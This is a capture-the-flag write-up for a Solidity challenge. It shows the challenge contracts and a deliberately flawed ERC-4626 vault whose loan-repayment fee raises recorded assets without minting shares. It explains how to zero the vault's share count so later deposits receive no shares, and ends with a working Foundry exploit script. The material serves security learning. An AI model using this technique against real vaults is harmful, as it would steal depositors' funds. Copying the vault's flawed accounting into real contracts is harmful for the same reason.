Writeup for SignIn

Challenge Description

In the world of digital currencies, every transaction holds secrets, and every vault has its own story…

Author: zeroc

The Challenge

The below are source contracts

  1. Setup contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.20;
 3
 4import {Vault} from "./Vault.sol";
 5import {LING} from "./LING.sol";
 6
 7contract Setup {
 8    Vault public vault;
 9    LING public ling;
10    bool public claimed;
11    bool public solved;
12    constructor() {
13        ling = new LING(1000 ether);
14        vault = new Vault(ling);
15    }
16
17    function claim() external {
18        if (claimed) {
19            revert("Already claimed");
20        }
21        claimed = true;
22        ling.transfer(msg.sender, 1 ether);
23    }
24
25    function solve() external {
26        ling.approve(address(vault), 999 ether);
27        vault.deposit(999 ether, address(this));
28        if (vault.balanceOf(address(this)) >= 500 ether) {
29            revert("Challenge not solved yet");
30        }
31        solved = true;
32    }
33
34    function isSolved() public view returns (bool) {
35        return solved;
36    }
37}
  1. LING contract
 1//SPDX-License-Identifier:MIT
 2pragma solidity ^0.8.0;
 3
 4import {ERC20} from "@signin/openzeppelin/contracts/token/ERC20/ERC20.sol";
 5
 6contract LING is ERC20 {
 7    constructor(uint256 _initialSupply) ERC20("LING", "LING") {
 8        _mint(msg.sender, _initialSupply);
 9    }
10}
  1. Vault contract
  1// SPDX-License-Identifier: MIT
  2pragma solidity ^0.8.20;
  3
  4import {ERC20} from "@signin/openzeppelin/contracts/token/ERC20/ERC20.sol";
  5import {Ownable} from "@signin/openzeppelin/contracts/access/Ownable.sol";
  6import {IERC4626} from "@signin/openzeppelin/contracts/interfaces/IERC4626.sol";
  7import {LING} from "./LING.sol";
  8
  9contract Vault is Ownable, IERC4626, ERC20("LING VAULT", "vLING") {
 10    struct VaultAccount {
 11        uint256 amount;
 12        uint256 shares;
 13    }
 14
 15    VaultAccount public totalAsset;
 16    LING ling;
 17    mapping(address => uint256) public borrowedAssets;
 18    uint256 public totalBorrowedAssets;
 19
 20    constructor(LING _ling) Ownable(msg.sender) {
 21        ling = _ling;
 22    }
 23
 24    function asset() external view returns (address assetTokenAddress) {
 25        assetTokenAddress = address(ling);
 26    }
 27
 28    function totalAssets() public view returns (uint256 totalManagedAssets) {
 29        totalManagedAssets = totalAsset.amount - totalBorrowedAssets;
 30    }
 31
 32    function convertToShares(
 33        uint256 assets
 34    ) public view returns (uint256 shares) {
 35        if (totalAsset.amount == 0) {
 36            shares = assets;
 37        } else {
 38            shares = (assets * totalAsset.shares) / totalAsset.amount;
 39        }
 40    }
 41
 42    function convertToAssets(
 43        uint256 shares
 44    ) public view returns (uint256 assets) {
 45        if (totalAsset.shares == 0) {
 46            assets = shares;
 47        } else {
 48            assets = (shares * totalAsset.amount) / totalAsset.shares;
 49        }
 50    }
 51
 52    function maxDeposit(
 53        address /* receiver */
 54    ) public pure returns (uint256 maxAssets) {
 55        return type(uint256).max;
 56    }
 57
 58    function previewDeposit(
 59        uint256 assets
 60    ) external view returns (uint256 shares) {
 61        shares = convertToShares(assets);
 62    }
 63
 64    function deposit(
 65        uint256 assets,
 66        address receiver
 67    ) external returns (uint256) {
 68        if (assets == 0) {
 69            revert("zero assets");
 70        }
 71        uint256 shares = convertToShares(assets);
 72
 73        totalAsset.amount += assets;
 74        totalAsset.shares += shares;
 75        ling.transferFrom(msg.sender, address(this), assets);
 76        _mint(receiver, shares);
 77
 78        emit Deposit(msg.sender, receiver, assets, shares);
 79        return shares;
 80    }
 81
 82    function maxMint(
 83        address /* receiver */
 84    ) external pure returns (uint256 maxShares) {
 85        return type(uint256).max;
 86    }
 87
 88    function previewMint(
 89        uint256 shares
 90    ) external view returns (uint256 assets) {
 91        assets = convertToAssets(shares);
 92    }
 93
 94    function mint(
 95        uint256 shares,
 96        address receiver
 97    ) external returns (uint256 assets) {
 98        if (shares == 0) {
 99            revert("zero shares");
100        }
101        assets = convertToAssets(shares);
102
103        totalAsset.amount += assets;
104        totalAsset.shares += shares;
105        ling.transferFrom(msg.sender, address(this), assets);
106        _mint(receiver, shares);
107
108        emit Deposit(msg.sender, receiver, assets, shares);
109        return assets;
110    }
111
112    function maxWithdraw(
113        address owner
114    ) external view returns (uint256 maxAssets) {
115        uint256 shares = balanceOf(owner);
116        maxAssets = convertToAssets(shares);
117    }
118
119    function previewWithdraw(
120        uint256 assets
121    ) external view returns (uint256 shares) {
122        shares = convertToShares(assets);
123    }
124
125    function withdraw(
126        uint256 assets,
127        address receiver,
128        address owner
129    ) external returns (uint256 shares) {
130        if (assets == 0) {
131            revert("zero assets");
132        }
133        shares = convertToShares(assets);
134        if (shares > balanceOf(owner)) {
135            revert("insufficient shares");
136        }
137
138        if (msg.sender != owner) {
139            uint256 allowed = allowance(owner, msg.sender);
140            if (allowed < shares) {
141                revert("insufficient allowance");
142            }
143            _approve(owner, msg.sender, allowed - shares);
144        }
145
146        _burn(owner, shares);
147        totalAsset.amount -= assets;
148        totalAsset.shares -= shares;
149        ling.transfer(receiver, assets);
150
151        emit Withdraw(msg.sender, receiver, owner, assets, shares);
152        return shares;
153    }
154
155    function maxRedeem(
156        address owner
157    ) external view returns (uint256 maxShares) {
158        return balanceOf(owner);
159    }
160
161    function previewRedeem(
162        uint256 shares
163    ) external view returns (uint256 assets) {
164        assets = convertToAssets(shares);
165    }
166
167    function redeem(
168        uint256 shares,
169        address receiver,
170        address owner
171    ) external returns (uint256 assets) {
172        if (shares > balanceOf(owner)) {
173            revert("insufficient shares");
174        }
175        assets = convertToAssets(shares);
176
177        if (msg.sender != owner) {
178            uint256 allowed = allowance(owner, msg.sender);
179            if (allowed < shares) {
180                revert("insufficient allowance");
181            }
182            _approve(owner, msg.sender, allowed - shares);
183        }
184
185        _burn(owner, shares);
186        totalAsset.amount -= assets;
187        totalAsset.shares -= shares;
188        ling.transfer(receiver, assets);
189
190        emit Withdraw(msg.sender, receiver, owner, assets, shares);
191        return assets;
192    }
193
194    function borrowAssets(uint256 amount) external {
195        if (amount == 0) {
196            revert("zero amount");
197        }
198        if (amount > totalAssets()) {
199            revert("insufficient balance");
200        }
201        borrowedAssets[msg.sender] += amount;
202        totalBorrowedAssets += amount;
203        ling.transfer(msg.sender, amount);
204    }
205
206    function repayAssets(uint256 amount) external {
207        if (amount == 0) {
208            revert("zero amount");
209        }
210        if (borrowedAssets[msg.sender] < amount) {
211            revert("invalid amount");
212        }
213        uint256 fee = (amount * 1) / 100;
214        borrowedAssets[msg.sender] -= amount;
215        totalBorrowedAssets -= amount;
216        totalAsset.amount += fee;
217        ling.transferFrom(msg.sender, address(this), amount + fee);
218    }
219}
1    function solve() external {
2        ling.approve(address(vault), 999 ether);
3        vault.deposit(999 ether, address(this));
4        if (vault.balanceOf(address(this)) >= 500 ether) {
5            revert("Challenge not solved yet");
6        }
7        solved = true;
8    }

Our goal is to make the Setup::isSolved function return true. This function returns true if the solved variable is set to true. We can set solved to true by calling Setup::solve. The Setup::solve function attempts to deposit 999e18 LING tokens into the vault. If, during this deposit, the number of shares received by the Setup contract is less than 500 ether, the solved variable will be set to true.

By looking at this, we can understand that the challenge is related to a vault inflation attack. If you’re unfamiliar with vault inflation attacks, I recommend reading Mixbytes blog post. If you’re not familiar with ERC-4626 vaults, I suggest checking out Rareskills blog post.

The Exploit

 1    function deposit(
 2        uint256 assets,
 3        address receiver
 4    ) external returns (uint256) {
 5        if (assets == 0) {
 6            revert("zero assets");
 7        }
 8        uint256 shares = convertToShares(assets);
 9
10        totalAsset.amount += assets;
11        totalAsset.shares += shares;
12        ling.transferFrom(msg.sender, address(this), assets);
13        _mint(receiver, shares);
14
15        emit Deposit(msg.sender, receiver, assets, shares);
16        return shares;
17    }

The above function is from the Vault contract. When the Setup::solve function calls Vault::deposit, the number of shares the Setup contract receives is determined by the Vault::convertToShares function.
Now, let’s take a look at Vault::convertToShares.

 1
 2    function convertToShares(
 3        uint256 assets
 4    ) public view returns (uint256 shares) {
 5        if (totalAsset.amount == 0) {
 6            shares = assets;
 7        } else {
 8            shares = (assets * totalAsset.shares) / totalAsset.amount;
 9        }
10    }

The Vault::convertToShares function logic looks correct. It uses a struct named totalAsset, which is an instance of VaultAccount. This struct has two members: amount and shares.

  • amount represents the total assets deposited into the vault.
  • shares is the total number of shares minted for those assets. Since the contract uses this struct to track deposits, we cannot manipulate the vault through direct donations.According to the formula, depositing 999 ether will result in less than 500 shares only if:
  • totalAsset.amount > 0 and totalAsset.amount > 999 ether, or
  • totalAsset.amount > 0 and totalAsset.shares == 0.

However, we can’t make totalAsset.amount > 999 ether because we only have 1e18 LING tokens available. So, our only option is to make totalAsset.shares == 0. But this won’t happen just by depositing and redeeming shares — because that always updates both amount and shares. For this to work, there must be some function in the contract that increases totalAsset.amount without updating totalAsset.shares — meaning it calculates the amount incorrectly.

If we look closely, we can see that the Vault also supports lending, and when someone borrows, they have to pay a fee. The following functions are related to the lending logic:

 1    function borrowAssets(uint256 amount) external {
 2        if (amount == 0) {
 3            revert("zero amount");
 4        }
 5        if (amount > totalAssets()) {
 6            revert("insufficient balance");
 7        }
 8        borrowedAssets[msg.sender] += amount;
 9        totalBorrowedAssets += amount;
10        ling.transfer(msg.sender, amount);
11    }
12
13    function repayAssets(uint256 amount) external {
14        if (amount == 0) {
15            revert("zero amount");
16        }
17        if (borrowedAssets[msg.sender] < amount) {
18            revert("invalid amount");
19        }
20        uint256 fee = (amount * 1) / 100;
21        borrowedAssets[msg.sender] -= amount;
22        totalBorrowedAssets -= amount;
23        totalAsset.amount += fee;
24        ling.transferFrom(msg.sender, address(this), amount + fee);
25    }

Our goal is to update only the totalAsset.amount without changing totalAsset.shares, and the Vault::repayAssets function allows us to do exactly that. When someone borrows and repays their debt, they pay an extra 1% fee, which is added directly to totalAsset.amount.

To exploit this, we start by depositing a small amount, like 1000 wei LING, then borrow 1000 wei LING, and redeem our 1000 shares to get back the 1000 tokens. This action reduces totalAsset.shares to zero. Next, when we repay the borrowed 1000 LING plus the 1% fee (totaling 1010 wei), the totalAsset.amount increases to 1010 while totalAsset.shares stays at zero.

Now, when someone calls Vault::deposit, the shares they receive are calculated as (assets * totalAsset.shares) / totalAsset.amount. Since totalAsset.shares is zero, the result is zero shares. So, when the Setup contract deposits 999e18 LING, it receives zero shares, which is less than 500 ether, and the solved flag is set to true.

However, there is a catch. We only deposited 1000 wei LING, but we are trying to withdraw 2000 wei LING — 1000 by borrowing and 1000 by redeeming shares. Borrowing works fine, but when redeeming, the vault won’t have enough tokens to transfer back, causing an error. To fix this, we need to donate some LING tokens directly to the vault contract to ensure it has enough balance for redemption.

The below is the exploit script:

 1//SPDX-License-Identifier:MIT
 2pragma solidity ^0.8.20;
 3
 4import {Script, console} from "forge-std/Script.sol";
 5import {Setup,Vault,LING} from "src/signin/Setup.sol";
 6
 7contract Solve is Script {
 8    function run() public {
 9        vm.startBroadcast();
10        Setup setup = Setup(address(0xdd154d7ff043F9DDb8029D888208fE780cC8D9b1));
11        Vault vault=setup.vault();
12        LING ling=setup.ling();
13        setup.claim();
14        ling.approve(address(vault),1000);
15        vault.deposit(1000, msg.sender);
16        vault.borrowAssets(1000);
17        ling.transfer(address(vault),1000);
18        vault.redeem(1000, msg.sender, msg.sender);
19        ling.approve(address(vault),1010);
20        vault.repayAssets(1000);
21        setup.solve();
22        console.log(setup.isSolved());
23        vm.stopBroadcast();
24    }
25}

Note

If you want to try this challenge locally, clone the challenges repository and follow the setup guide. This setup is available only for 2025 challenge solutions. If you face any issues feel free to reach out on discord :)

***Hope you enjoyed this write-up. Keep on hacking and learning!***